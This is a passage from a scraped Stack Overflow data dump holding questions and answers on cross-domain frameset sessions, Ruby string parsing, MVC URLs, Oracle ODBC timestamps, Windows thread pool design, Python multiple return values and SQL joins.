"text": "<p>What browser/ ad-on do you have? it may be your browser or some other software (may be even the web server) is blocking the sessions from <a href=\"http://www.myIsv.com/myWebSite/\" rel=\"nofollow noreferrer\">http://www.myIsv.com/myWebSite/</a> working from with-in the frame, as its located on a different site, thinking its an XSS attack.</p>\n\n<p>If the session works at <a href=\"http://www.myIsv.com/myWebSite/\" rel=\"nofollow noreferrer\">http://www.myIsv.com/myWebSite/</a> with out the frame you could always us a redirect from <a href=\"http://www.mysmallwebsite.com\" rel=\"nofollow noreferrer\">http://www.mysmallwebsite.com</a> to the ugly url, instead of using the frame.</p>\n\n<p>EDIT:\nI have just tried your frame code on a site of mine that uses sessions, firefox worked fine, with me logging in and staying loged in, but IE7 logged me straight out again.</p>\n"
},
{
"answer_id": 38417,
"author": "Orion Edwards",
"author_id": 234,
"author_profile": "https://Stackoverflow.com/users/234",
"pm_score": 0,
"selected": false,
"text": "<blockquote>\n<p>So when you place the html link to the ugly domain name, assuming that it is the same PHP server (with the same sessions initialized), you can put it like this ...</p>\n<p><code>www.myIsv.com/myWebSite/?PHPSESSID=<?=session_id()?></code></p>\n</blockquote>\n<p>From a security point of view, I really really really hope that doesn't work</p>\n"
},
{
"answer_id": 38609,
"author": "James Inman",
"author_id": 393028,
"author_profile": "https://Stackoverflow.com/users/393028",
"pm_score": 0,
"selected": false,
"text": "<p>You could also set a cookie on the user-side and then check for the presence of that cookie directly after redirecting, which if you're bothered about friendly URLs would mean that you don't have to pass around a PHPSESSID in the query string.</p>\n"
},
{
"answer_id": 38774,
"author": "UnkwnTech",
"author_id": 115,
"author_profile": "https://Stackoverflow.com/users/115",
"pm_score": 0,
"selected": false,
"text": "<p>When people arrive @ www.mysmallwebsite.com I would just redirect to <a href=\"http://www.myIsv.com/myWebSite/\" rel=\"nofollow noreferrer\">http://www.myIsv.com/myWebSite/</a></p>\n\n<pre><code><?php header('Location: http://www.myIsv.com/myWebSite/'); ?>\n</code></pre>\n\n<p>This is all I would have in www.mysmqllwebsite.com/index.php<br />\nThis way you dont have to worry about browsedr compatibility, or weather the sessions work, just do the redirct, and you'll be good.</p>\n"
},
{
"answer_id": 38924,
"author": "paan",
"author_id": 2976,
"author_profile": "https://Stackoverflow.com/users/2976",
"pm_score": 3,
"selected": true,
"text": "<p>Sessions are tied to the server <strong>AND</strong> the domain. Using frameset across domain will cause all kind of breakage because that's just not how it was designed to do. </p>\n\n<p>Try using apache mod rewrite to create a \"passthrough redirection\", the \"<strong>proxy</strong>\" flag ([P]) in the rule is the magic flag that you need</p>\n\n<p>Documentation at <a href=\"http://httpd.apache.org/docs/1.3/mod/mod_rewrite.html\" rel=\"nofollow noreferrer\">http://httpd.apache.org/docs/1.3/mod/mod_rewrite.html</a></p>\n"
}
] | 2008/09/01 | [
"https://Stackoverflow.com/questions/38370",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1578/"
] | I've to admin a small website for my alumni group which is hosted by my ISV. The url is something like www.myIsv.com/myWebSite/ which is quite ugly and very forgetable. The main admin of the webserver has registered a domain name www.mysmallwebsite.com and put a index.html with this content:
```
<html>
<head>
<title>www.mysmallwebsite.com</title>
</head>
<frameset>
<frame src="http://www.myIsv.com/myWebSite/" name="redir">
<noframes>
<p>Original location:
<a href="www.myIsv.com/myWebSite/">http://www.myIsv.com/myWebSite/</a>
</p>
</noframes>
</frameset>
</html>
```
It works fine, but some features like PHP Session variables doesn't work anymore! Anyone has a suggestion for correcting that?
Edit:
This doesn't work both on IE and on Firefox (no plugins)
Thanks | Sessions are tied to the server **AND** the domain. Using frameset across domain will cause all kind of breakage because that's just not how it was designed to do.
Try using apache mod rewrite to create a "passthrough redirection", the "**proxy**" flag ([P]) in the rule is the magic flag that you need
Documentation at <http://httpd.apache.org/docs/1.3/mod/mod_rewrite.html> |
38,409 | <p>I would like to convert the following string into an array/nested array: </p>
<pre><code>str = "[[this, is],[a, nested],[array]]"
newarray = # this is what I need help with!
newarray.inspect # => [['this','is'],['a','nested'],['array']]
</code></pre>
| [
{
"answer_id": 38477,
"author": "Ben Childs",
"author_id": 2925,
"author_profile": "https://Stackoverflow.com/users/2925",
"pm_score": 0,
"selected": false,
"text": "<p>Looks like a basic parsing task. Generally the approach you are going to want to take is to create a recursive function with the following general algorithm</p>\n\n<pre><code>base case (input doesn't begin with '[') return the input\nrecursive case:\n split the input on ',' (you will need to find commas only at this level)\n for each sub string call this method again with the sub string\n return array containing the results from this recursive method\n</code></pre>\n\n<p>The only slighlty tricky part here is splitting the input on a single ','. You could write a separate function for this that would scan through the string and keep a count of the openbrackets - closedbrakets seen so far. Then only split on commas when the count is equal to zero.</p>\n"
},
{
"answer_id": 38483,
"author": "user3868",
"author_id": 3868,
"author_profile": "https://Stackoverflow.com/users/3868",
"pm_score": 0,
"selected": false,
"text": "<p>Make a recursive function that takes the string and an integer offset, and \"reads\" out an array. That is, have it return an array or string (that it has read) and an integer offset pointing after the array. For example:</p>\n\n<pre><code>s = \"[[this, is],[a, nested],[array]]\"\n\nyourFunc(s, 1) # returns ['this', 'is'] and 11.\nyourFunc(s, 2) # returns 'this' and 6.\n</code></pre>\n\n<p>Then you can call it with another function that provides an offset of 0, and makes sure that the finishing offset is the length of the string.</p>\n"
},
{
"answer_id": 38520,
"author": "Orion Edwards",
"author_id": 234,
"author_profile": "https://Stackoverflow.com/users/234",
"pm_score": 2,
"selected": false,
"text": "<p>For a laugh:</p>\n\n<pre><code> ary = eval(\"[[this, is],[a, nested],[array]]\".gsub(/(\\w+?)/, \"'\\\\1'\") )\n => [[\"this\", \"is\"], [\"a\", \"nested\"], [\"array\"]]\n</code></pre>\n\n<p>Disclaimer: You definitely shouldn't do this as <code>eval</code> is a terrible idea, but it is fast and has the useful side effect of throwing an exception if your nested arrays aren't valid</p>\n"
},
{
"answer_id": 40849,
"author": "Wieczo",
"author_id": 4195,
"author_profile": "https://Stackoverflow.com/users/4195",
"pm_score": 5,
"selected": true,
"text": "<p>You'll get what you want with YAML.</p>\n\n<p>But there is a little problem with your string. YAML expects that there's a space behind the comma. So we need this</p>\n\n<pre><code>str = \"[[this, is], [a, nested], [array]]\"\n</code></pre>\n\n<p>Code:</p>\n\n<pre><code>require 'yaml'\nstr = \"[[this, is],[a, nested],[array]]\"\n### transform your string in a valid YAML-String\nstr.gsub!(/(\\,)(\\S)/, \"\\\\1 \\\\2\")\nYAML::load(str)\n# => [[\"this\", \"is\"], [\"a\", \"nested\"], [\"array\"]]\n</code></pre>\n"
},
{
"answer_id": 89602,
"author": "glenn mcdonald",
"author_id": 7919,
"author_profile": "https://Stackoverflow.com/users/7919",
"pm_score": 2,
"selected": false,
"text": "<p>You could also treat it as almost-JSON. If the strings really are only letters, like in your example, then this will work:</p>\n\n<pre><code>JSON.parse(yourarray.gsub(/([a-z]+)/,'\"\\1\"'))\n</code></pre>\n\n<p>If they could have arbitrary characters (other than [ ] , ), you'd need a little more:</p>\n\n<pre><code>JSON.parse(\"[[this, is],[a, nested],[array]]\".gsub(/, /,\",\").gsub(/([^\\[\\]\\,]+)/,'\"\\1\"'))\n</code></pre>\n"
}
] | 2008/09/01 | [
"https://Stackoverflow.com/questions/38409",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4082/"
] | I would like to convert the following string into an array/nested array:
```
str = "[[this, is],[a, nested],[array]]"
newarray = # this is what I need help with!
newarray.inspect # => [['this','is'],['a','nested'],['array']]
``` | You'll get what you want with YAML.
But there is a little problem with your string. YAML expects that there's a space behind the comma. So we need this
```
str = "[[this, is], [a, nested], [array]]"
```
Code:
```
require 'yaml'
str = "[[this, is],[a, nested],[array]]"
### transform your string in a valid YAML-String
str.gsub!(/(\,)(\S)/, "\\1 \\2")
YAML::load(str)
# => [["this", "is"], ["a", "nested"], ["array"]]
``` |
38,431 | <p>Using MVC out of the box I found the generated URLs can be misleading and I wanted to know if this can be fixed or if my approach/understanding is wrong.</p>
<p>Suppose I have a CreateEgg page, which has a form on it, and once the form is filled in and submitted the user is taken to a ListEggs page with the new egg in it.</p>
<p>So my egg controller will look some thing like this:</p>
<pre><code>public class EggController : Controller
{
public void Add()
{
//do stuff
RenderView("CreateEgg", viewData);
}
public void Create()
{
//do stuff
RenderView("ListEggs", viewData);
}
}
</code></pre>
<p>So my first page will have a url of something like <a href="http://localhost/egg/add" rel="nofollow noreferrer">http://localhost/egg/add</a> and the form on the page will have an action of:</p>
<pre><code>using (Html.Form<EggController>(c => c.Create())
</code></pre>
<p>Meaning the second page will have a url of <a href="http://localhost/Egg/Create" rel="nofollow noreferrer">http://localhost/Egg/Create</a>, to me this is misleading, the action should be called Create, because im creating the egg, but a list view is being displayed so the url of <a href="http://localhost/Egg/List" rel="nofollow noreferrer">http://localhost/Egg/List</a> would make more scene. How do I achieve this without making my view or action names misleading?</p>
| [
{
"answer_id": 38452,
"author": "Brad Wilson",
"author_id": 1554,
"author_profile": "https://Stackoverflow.com/users/1554",
"pm_score": 2,
"selected": false,
"text": "<p>The problem is your action does two things, violating the Single Responsibility Principle.</p>\n\n<p>If your Create action redirects to the List action when it's done creating the item, then this problem disappears.</p>\n"
},
{
"answer_id": 43456,
"author": "Dan",
"author_id": 230,
"author_profile": "https://Stackoverflow.com/users/230",
"pm_score": 0,
"selected": false,
"text": "<p>ActionVerbs Outlined in Scott Gu's <a href=\"http://weblogs.asp.net/scottgu/archive/2008/09/02/asp-net-mvc-preview-5-and-form-posting-scenarios.aspx\" rel=\"nofollow noreferrer\">post</a> seem to be a good approch;</p>\n\n<p>Scott says:</p>\n\n<blockquote>\n <p>You can create overloaded\n implementations of action methods, and\n use a new [AcceptVerbs] attribute to\n have ASP.NET MVC filter how they are\n dispatched. For example, below we can\n declare two Create action methods -\n one that will be called in GET\n scenarios, and one that will be called\n in POST scenarios</p>\n</blockquote>\n\n<pre><code>[AcceptVerbs(\"GET\")]\npublic object Create() {}\n[AcceptVerbs(\"POST\")]\npublic object Create(string productName, Decimal unitPrice) {}\n</code></pre>\n"
},
{
"answer_id": 45108,
"author": "Matt Hinze",
"author_id": 2676,
"author_profile": "https://Stackoverflow.com/users/2676",
"pm_score": 0,
"selected": false,
"text": "<p><a href=\"http://haacked.com/archive/2008/08/29/how-a-method-becomes-an-action.aspx\" rel=\"nofollow noreferrer\">How A Method Becomes An Action</a> by Phil Haack</p>\n"
}
] | 2008/09/01 | [
"https://Stackoverflow.com/questions/38431",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/230/"
] | Using MVC out of the box I found the generated URLs can be misleading and I wanted to know if this can be fixed or if my approach/understanding is wrong.
Suppose I have a CreateEgg page, which has a form on it, and once the form is filled in and submitted the user is taken to a ListEggs page with the new egg in it.
So my egg controller will look some thing like this:
```
public class EggController : Controller
{
public void Add()
{
//do stuff
RenderView("CreateEgg", viewData);
}
public void Create()
{
//do stuff
RenderView("ListEggs", viewData);
}
}
```
So my first page will have a url of something like <http://localhost/egg/add> and the form on the page will have an action of:
```
using (Html.Form<EggController>(c => c.Create())
```
Meaning the second page will have a url of <http://localhost/Egg/Create>, to me this is misleading, the action should be called Create, because im creating the egg, but a list view is being displayed so the url of <http://localhost/Egg/List> would make more scene. How do I achieve this without making my view or action names misleading? | The problem is your action does two things, violating the Single Responsibility Principle.
If your Create action redirects to the List action when it's done creating the item, then this problem disappears. |
38,435 | <p>Given an Oracle table created using the following:</p>
<pre><code>CREATE TABLE Log(WhenAdded TIMESTAMP(6) WITH TIME ZONE);
</code></pre>
<p>Using the Python ODBC module from its <a href="http://www.python.org/download/windows/" rel="nofollow noreferrer">Win32 extensions</a> (from the win32all package), I tried the following:</p>
<pre><code>import dbi, odbc
connection = odbc.odbc("Driver=Oracle in OraHome92;Dbq=SERVER;Uid=USER;Pwd=PASSWD")
cursor = connection.cursor()
cursor.execute("SELECT WhenAdded FROM Log")
results = cursor.fetchall()
</code></pre>
<p>When I run this, I get the following:</p>
<pre><code>Traceback (most recent call last):
...
results = cursor.fetchall()
dbi.operation-error: [Oracle][ODBC][Ora]ORA-00932: inconsistent datatypes: expected %s got %s
in FETCH
</code></pre>
<p>The other data types I've tried (VARCHAR2, BLOB) do not cause this problem. Is there a way of retrieving timestamps?</p>
| [
{
"answer_id": 38442,
"author": "Jason Etheridge",
"author_id": 2193,
"author_profile": "https://Stackoverflow.com/users/2193",
"pm_score": 1,
"selected": false,
"text": "<p>My solution to this, that I hope can be bettered, is to use Oracle to explicitly convert the TIMESTAMP into a string:</p>\n\n<pre><code>cursor.execute(\"SELECT TO_CHAR(WhenAdded, 'YYYY-MM-DD HH:MI:SSAM') FROM Log\")\n</code></pre>\n\n<p>This works, but isn't portable. I'd like to use the same Python script against a SQL Server database, so an Oracle-specific solution (such as TO_CHAR) won't work.</p>\n"
},
{
"answer_id": 38718,
"author": "David Sykes",
"author_id": 3154,
"author_profile": "https://Stackoverflow.com/users/3154",
"pm_score": 3,
"selected": true,
"text": "<p>I believe this is a bug in the Oracle ODBC driver. Basically, the Oracle ODBC driver does not support the <code>TIMESTAMP WITH (LOCAL) TIME ZONE</code> data types, only the <code>TIMESTAMP</code> data type. As you have discovered, one workaround is in fact to use the <code>TO_CHAR</code> method.</p>\n\n<p>In your example you are not actually reading the time zone information. If you have control of the table you could convert it to a straight <code>TIMESTAMP</code> column. If you don't have control over the table, another solution may be to create a view that converts from <code>TIMESTAMP WITH TIME ZONE</code> to <code>TIMESTAMP</code> via a string - sorry, I don't know if there is a way to convert directly from <code>TIMESTAMP WITH TIME ZONE</code> to <code>TIMESTAMP</code>.</p>\n"
}
] | 2008/09/01 | [
"https://Stackoverflow.com/questions/38435",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/2193/"
] | Given an Oracle table created using the following:
```
CREATE TABLE Log(WhenAdded TIMESTAMP(6) WITH TIME ZONE);
```
Using the Python ODBC module from its [Win32 extensions](http://www.python.org/download/windows/) (from the win32all package), I tried the following:
```
import dbi, odbc
connection = odbc.odbc("Driver=Oracle in OraHome92;Dbq=SERVER;Uid=USER;Pwd=PASSWD")
cursor = connection.cursor()
cursor.execute("SELECT WhenAdded FROM Log")
results = cursor.fetchall()
```
When I run this, I get the following:
```
Traceback (most recent call last):
...
results = cursor.fetchall()
dbi.operation-error: [Oracle][ODBC][Ora]ORA-00932: inconsistent datatypes: expected %s got %s
in FETCH
```
The other data types I've tried (VARCHAR2, BLOB) do not cause this problem. Is there a way of retrieving timestamps? | I believe this is a bug in the Oracle ODBC driver. Basically, the Oracle ODBC driver does not support the `TIMESTAMP WITH (LOCAL) TIME ZONE` data types, only the `TIMESTAMP` data type. As you have discovered, one workaround is in fact to use the `TO_CHAR` method.
In your example you are not actually reading the time zone information. If you have control of the table you could convert it to a straight `TIMESTAMP` column. If you don't have control over the table, another solution may be to create a view that converts from `TIMESTAMP WITH TIME ZONE` to `TIMESTAMP` via a string - sorry, I don't know if there is a way to convert directly from `TIMESTAMP WITH TIME ZONE` to `TIMESTAMP`. |
38,501 | <p>I'm trying to come up with a design for a thread pool with a lot of design requirements for my job. This is a real problem for working software, and it's a difficult task. I have a working implementation but I'd like to throw this out to SO and see what interesting ideas people can come up with, so that I can compare to my implementation and see how it stacks up. I've tried to be as specific to the requirements as I can.</p>
<p>The thread pool needs to execute a series of tasks. The tasks can be short running (<1sec) or long running (hours or days). Each task has an associated priority (from 1 = very low to 5 = very high). Tasks can arrive at any time while the other tasks are running, so as they arrive the thread pool needs to pick these up and schedule them as threads become available.</p>
<p>The task priority is completely independant of the task length. In fact it is impossible to tell how long a task could take to run without just running it.</p>
<p>Some tasks are CPU bound while some are greatly IO bound. It is impossible to tell beforehand what a given task would be (although I guess it might be possible to detect while the tasks are running).</p>
<p>The primary goal of the thread pool is to maximise throughput. The thread pool should effectively use the resources of the computer. Ideally, for CPU bound tasks, the number of active threads would be equal to the number of CPUs. For IO bound tasks, more threads should be allocated than there are CPUs so that blocking does not overly affect throughput. Minimising the use of locks and using thread safe/fast containers is important.</p>
<p>In general, you should run higher priority tasks with a higher CPU priority (ref: SetThreadPriority). Lower priority tasks should not "block" higher priority tasks from running, so if a higher priority task comes along while all low priority tasks are running, the higher priority task will get to run.</p>
<p>The tasks have a "max running tasks" parameter associated with them. Each type of task is only allowed to run at most this many concurrent instances of the task at a time. For example, we might have the following tasks in the queue:</p>
<ul>
<li>A - 1000 instances - low priority - max tasks 1</li>
<li>B - 1000 instances - low priority - max tasks 1</li>
<li>C - 1000 instances - low priority - max tasks 1</li>
</ul>
<p>A working implementation could only run (at most) 1 A, 1 B and 1 C at the same time.</p>
<p>It needs to run on Windows XP, Server 2003, Vista and Server 2008 (latest service packs).</p>
<hr>
<p>For reference, we might use the following interface:</p>
<pre><code>namespace ThreadPool
{
class Task
{
public:
Task();
void run();
};
class ThreadPool
{
public:
ThreadPool();
~ThreadPool();
void run(Task *inst);
void stop();
};
}
</code></pre>
| [
{
"answer_id": 38504,
"author": "DrPizza",
"author_id": 2131,
"author_profile": "https://Stackoverflow.com/users/2131",
"pm_score": 1,
"selected": false,
"text": "<blockquote>\n <p>It needs to run on Windows XP, Server 2003, Vista and Server 2008 (latest service packs).</p>\n</blockquote>\n\n<p>What feature of the system's built-in thread pools make them unsuitable for your task? If you want to target XP and 2003 you can't use the new shiny Vista/2008 pools, but you can still use QueueUserWorkItem and friends.</p>\n"
},
{
"answer_id": 38534,
"author": "1800 INFORMATION",
"author_id": 3146,
"author_profile": "https://Stackoverflow.com/users/3146",
"pm_score": 0,
"selected": false,
"text": "<p>@DrPizza - this is a very good question, and one that strikes right to the heart of the problem. There are a few reasons why QueueUserWorkItem and the Windows NT thread pool was ruled out (although the Vista one does look interesting, maybe in a few years).</p>\n\n<p>Firstly, we wanted to have greater control over when it starts up and stops threads. We have heard that the NT thread pool is reluctant to start up a new thread if it thinks that the tasks are short running. We could use the WT_EXECUTELONGFUNCTION, but we really have no idea if the task is long or short</p>\n\n<p>Secondly, if the thread pool was already filled up with long running, low priority tasks, there would be no chance of a high priority task getting to run in a timely manner. The NT thread pool has no real concept of task priorities, so we can't do a QueueUserWorkItem and say \"oh by the way, run this one right away\".</p>\n\n<p>Thirdly, (according to MSDN) the NT thread pool is not compatible with the STA apartment model. I'm not sure quite what this would mean, but all of our worker threads run in an STA.</p>\n"
},
{
"answer_id": 38550,
"author": "DrPizza",
"author_id": 2131,
"author_profile": "https://Stackoverflow.com/users/2131",
"pm_score": 0,
"selected": false,
"text": "<blockquote>\n <p>@DrPizza - this is a very good question, and one that strikes right to the heart of the problem. There are a few reasons why QueueUserWorkItem and the Windows NT thread pool was ruled out (although the Vista one does look interesting, maybe in a few years).</p>\n</blockquote>\n\n<p>Yeah, it looks like it got quite beefed up in Vista, quite versatile now.</p>\n\n<p>OK, I'm still a bit unclear about how you wish the priorities to work. If the pool is currently running a task of type A with maximal concurrency of 1 and low priority, and it gets given a new task also of type A (and maximal concurrency 1), but this time with a high priority, what should it do?</p>\n\n<p>Suspending the currently executing A is hairy (it could hold a lock that the new task needs to take, deadlocking the system). It can't spawn a second thread and just let it run alongside (the permitted concurrency is only 1). But it can't wait until the low priority task is completed, because the runtime is unbounded and doing so would allow a low priority task to block a high priority task.</p>\n\n<p>My presumption is that it is the latter behaviour that you are after?</p>\n"
},
{
"answer_id": 38562,
"author": "1800 INFORMATION",
"author_id": 3146,
"author_profile": "https://Stackoverflow.com/users/3146",
"pm_score": 0,
"selected": false,
"text": "<p>@DrPizza:</p>\n\n<blockquote>\n <p>OK, I'm still a bit unclear about how\n you wish the priorities to work. If\n the pool is currently running a task\n of type A with maximal concurrency of\n 1 and low priority, and it gets given\n a new task also of type A (and maximal\n concurrency 1), but this time with a\n high priority, what should it do?</p>\n</blockquote>\n\n<p>This one is a bit of a tricky one, although in this case I think I would be happy with simply allowing the low-priority task to run to completion. Usually, we wouldn't see a lot of the same types of tasks with different thread priorities. In our model it is actually possible to safely halt and later restart tasks at certain well defined points (for different reasons than this) although the complications this would introduce probably aren't worth the risk.</p>\n\n<p>Normally, only different types of tasks would have different priorities. For example:</p>\n\n<ul>\n<li>A task - 1000 instances - low priority</li>\n<li>B task - 1000 instances - high priority</li>\n</ul>\n\n<p>Assuming the A tasks had come along and were running, then the B tasks had arrived, we would want the B tasks to be able to run more or less straight away.</p>\n"
},
{
"answer_id": 40291,
"author": "DrPizza",
"author_id": 2131,
"author_profile": "https://Stackoverflow.com/users/2131",
"pm_score": 4,
"selected": true,
"text": "<p>So what are we going to pick as the basic building block for this. Windows has two building blocks that look promising :- I/O Completion Ports (IOCPs) and Asynchronous Procedure Calls (APCs). Both of these give us FIFO queuing without having to perform explicit locking, and with a certain amount of built-in OS support in places like the scheduler (for example, IOCPs can avoid some context switches).</p>\n\n<p>APCs are perhaps a slightly better fit, but we will have to be slightly careful with them, because they are not quite \"transparent\". If the work item performs an alertable wait (::SleepEx, ::WaitForXxxObjectEx, etc.) and we accidentally dispatch an APC to the thread then the newly dispatched APC will take over the thread, suspending the previously executing APC until the new APC is finished. This is bad for our concurrency requirements and can make stack overflows more likely.</p>\n"
}
] | 2008/09/01 | [
"https://Stackoverflow.com/questions/38501",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3146/"
] | I'm trying to come up with a design for a thread pool with a lot of design requirements for my job. This is a real problem for working software, and it's a difficult task. I have a working implementation but I'd like to throw this out to SO and see what interesting ideas people can come up with, so that I can compare to my implementation and see how it stacks up. I've tried to be as specific to the requirements as I can.
The thread pool needs to execute a series of tasks. The tasks can be short running (<1sec) or long running (hours or days). Each task has an associated priority (from 1 = very low to 5 = very high). Tasks can arrive at any time while the other tasks are running, so as they arrive the thread pool needs to pick these up and schedule them as threads become available.
The task priority is completely independant of the task length. In fact it is impossible to tell how long a task could take to run without just running it.
Some tasks are CPU bound while some are greatly IO bound. It is impossible to tell beforehand what a given task would be (although I guess it might be possible to detect while the tasks are running).
The primary goal of the thread pool is to maximise throughput. The thread pool should effectively use the resources of the computer. Ideally, for CPU bound tasks, the number of active threads would be equal to the number of CPUs. For IO bound tasks, more threads should be allocated than there are CPUs so that blocking does not overly affect throughput. Minimising the use of locks and using thread safe/fast containers is important.
In general, you should run higher priority tasks with a higher CPU priority (ref: SetThreadPriority). Lower priority tasks should not "block" higher priority tasks from running, so if a higher priority task comes along while all low priority tasks are running, the higher priority task will get to run.
The tasks have a "max running tasks" parameter associated with them. Each type of task is only allowed to run at most this many concurrent instances of the task at a time. For example, we might have the following tasks in the queue:
* A - 1000 instances - low priority - max tasks 1
* B - 1000 instances - low priority - max tasks 1
* C - 1000 instances - low priority - max tasks 1
A working implementation could only run (at most) 1 A, 1 B and 1 C at the same time.
It needs to run on Windows XP, Server 2003, Vista and Server 2008 (latest service packs).
---
For reference, we might use the following interface:
```
namespace ThreadPool
{
class Task
{
public:
Task();
void run();
};
class ThreadPool
{
public:
ThreadPool();
~ThreadPool();
void run(Task *inst);
void stop();
};
}
``` | So what are we going to pick as the basic building block for this. Windows has two building blocks that look promising :- I/O Completion Ports (IOCPs) and Asynchronous Procedure Calls (APCs). Both of these give us FIFO queuing without having to perform explicit locking, and with a certain amount of built-in OS support in places like the scheduler (for example, IOCPs can avoid some context switches).
APCs are perhaps a slightly better fit, but we will have to be slightly careful with them, because they are not quite "transparent". If the work item performs an alertable wait (::SleepEx, ::WaitForXxxObjectEx, etc.) and we accidentally dispatch an APC to the thread then the newly dispatched APC will take over the thread, suspending the previously executing APC until the new APC is finished. This is bad for our concurrency requirements and can make stack overflows more likely. |
38,508 | <p>I have a function where I need to do something to a string. I need the function to return a boolean indicating whether or not the operation succeeded, and I also need to return the modified string. </p>
<p>In C#, I would use an out parameter for the string, but there is no equivalent in Python. I'm still very new to Python and the only thing I can think of is to return a tuple with the boolean and modified string.</p>
<p>Related question: <a href="https://stackoverflow.com/questions/61605/is-it-pythonic-for-a-function-to-return-multiple-values">Is it pythonic for a function to return multiple values?</a></p>
| [
{
"answer_id": 38513,
"author": "Chris Upchurch",
"author_id": 2600,
"author_profile": "https://Stackoverflow.com/users/2600",
"pm_score": 3,
"selected": false,
"text": "<p>Returning a tuple is the usual way to do this in Python.</p>\n"
},
{
"answer_id": 38514,
"author": "rmmh",
"author_id": 3694,
"author_profile": "https://Stackoverflow.com/users/3694",
"pm_score": 4,
"selected": false,
"text": "<p>Return a tuple.</p>\n\n<pre><code>def f(x):\n # do stuff\n return (True, modified_string)\n\nsuccess, modified_string = f(something)\n</code></pre>\n"
},
{
"answer_id": 38516,
"author": "John Millikin",
"author_id": 3560,
"author_profile": "https://Stackoverflow.com/users/3560",
"pm_score": 8,
"selected": true,
"text": "<pre><code>def f(in_str):\n out_str = in_str.upper()\n return True, out_str # Creates tuple automatically\n\nsucceeded, b = f(\"a\") # Automatic tuple unpacking\n</code></pre>\n"
},
{
"answer_id": 38524,
"author": "Jason Baker",
"author_id": 2147,
"author_profile": "https://Stackoverflow.com/users/2147",
"pm_score": 5,
"selected": false,
"text": "<p>Why not throw an exception if the operation wasn't successful? Personally, I tend to be of the opinion that if you need to return more than one value from a function, you should reconsider if you're doing things the right way or use an object.</p>\n\n<p>But more directly to the point, if you throw an exception, you're forcing them to deal with the problem. If you try to return a value that indicates failure, it's very well possible somebody could not check the value and end up with some potentially hard to debug errors.</p>\n"
},
{
"answer_id": 38760,
"author": "tuxedo",
"author_id": 3286,
"author_profile": "https://Stackoverflow.com/users/3286",
"pm_score": 2,
"selected": false,
"text": "<p>Throwing an exception for failure is one good way to proceed, and if you're returning a lot of different values, you can return a tuple. For the specific case you're citing, I often take an intermediate approach: return the modified string on success, and return None on failure. I'm enough of an unreconstructed C programmer to want to return a NULL pointer to char on failure.</p>\n\n<p>If I were writing a routine to be used as part of a larger library and consumed by other developers, I'd throw an exception on failure. When I'm eating my own dogfood, I'll probably return different types and test on return.</p>\n"
},
{
"answer_id": 63481276,
"author": "Sanmitha Sadhishkumar",
"author_id": 13827419,
"author_profile": "https://Stackoverflow.com/users/13827419",
"pm_score": 0,
"selected": false,
"text": "<p>You can use return statement with multiple expressions</p>\n"
}
] | 2008/09/01 | [
"https://Stackoverflow.com/questions/38508",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3880/"
] | I have a function where I need to do something to a string. I need the function to return a boolean indicating whether or not the operation succeeded, and I also need to return the modified string.
In C#, I would use an out parameter for the string, but there is no equivalent in Python. I'm still very new to Python and the only thing I can think of is to return a tuple with the boolean and modified string.
Related question: [Is it pythonic for a function to return multiple values?](https://stackoverflow.com/questions/61605/is-it-pythonic-for-a-function-to-return-multiple-values) | ```
def f(in_str):
out_str = in_str.upper()
return True, out_str # Creates tuple automatically
succeeded, b = f("a") # Automatic tuple unpacking
``` |
38,549 | <p>Also, how do <code>LEFT OUTER JOIN</code>, <code>RIGHT OUTER JOIN</code>, and <code>FULL OUTER JOIN</code> fit in?</p>
| [
{
"answer_id": 38552,
"author": "1800 INFORMATION",
"author_id": 3146,
"author_profile": "https://Stackoverflow.com/users/3146",
"pm_score": 7,
"selected": false,
"text": "<p>A inner join only shows rows if there is a matching record on the other (right) side of the join.</p>\n\n<p>A (left) outer join shows rows for each record on the left hand side, even if there are no matching rows on the other (right) side of the join. If there is no matching row, the columns for the other (right) side would show NULLs.</p>\n"
},
{
"answer_id": 38565,
"author": "Brian Boatright",
"author_id": 3747,
"author_profile": "https://Stackoverflow.com/users/3747",
"pm_score": 7,
"selected": false,
"text": "<p>Inner joins require that a record with a related ID exist in the joined table.</p>\n\n<p>Outer joins will return records for the left side even if nothing exists for the right side.</p>\n\n<p>For instance, you have an Orders and an OrderDetails table. They are related by an \"OrderID\".</p>\n\n<p><strong>Orders</strong></p>\n\n<ul>\n<li>OrderID</li>\n<li>CustomerName</li>\n</ul>\n\n<p><strong>OrderDetails</strong></p>\n\n<ul>\n<li>OrderDetailID</li>\n<li>OrderID</li>\n<li>ProductName</li>\n<li>Qty</li>\n<li>Price</li>\n</ul>\n\n<p>The request</p>\n\n<pre><code>SELECT Orders.OrderID, Orders.CustomerName\n FROM Orders \n INNER JOIN OrderDetails\n ON Orders.OrderID = OrderDetails.OrderID\n</code></pre>\n\n<p>will only return Orders that also have something in the OrderDetails table.</p>\n\n<p>If you change it to OUTER LEFT JOIN</p>\n\n<pre><code>SELECT Orders.OrderID, Orders.CustomerName\n FROM Orders \n LEFT JOIN OrderDetails\n ON Orders.OrderID = OrderDetails.OrderID\n</code></pre>\n\n<p>then it will return records from the Orders table even if they have no OrderDetails records.</p>\n\n<p>You can use this to find Orders that do not have any OrderDetails indicating a possible orphaned order by adding a where clause like <code>WHERE OrderDetails.OrderID IS NULL</code>.</p>\n"
},
{
"answer_id": 38578,
"author": "Mark Harrison",
"author_id": 116,
"author_profile": "https://Stackoverflow.com/users/116",
"pm_score": 14,
"selected": true,
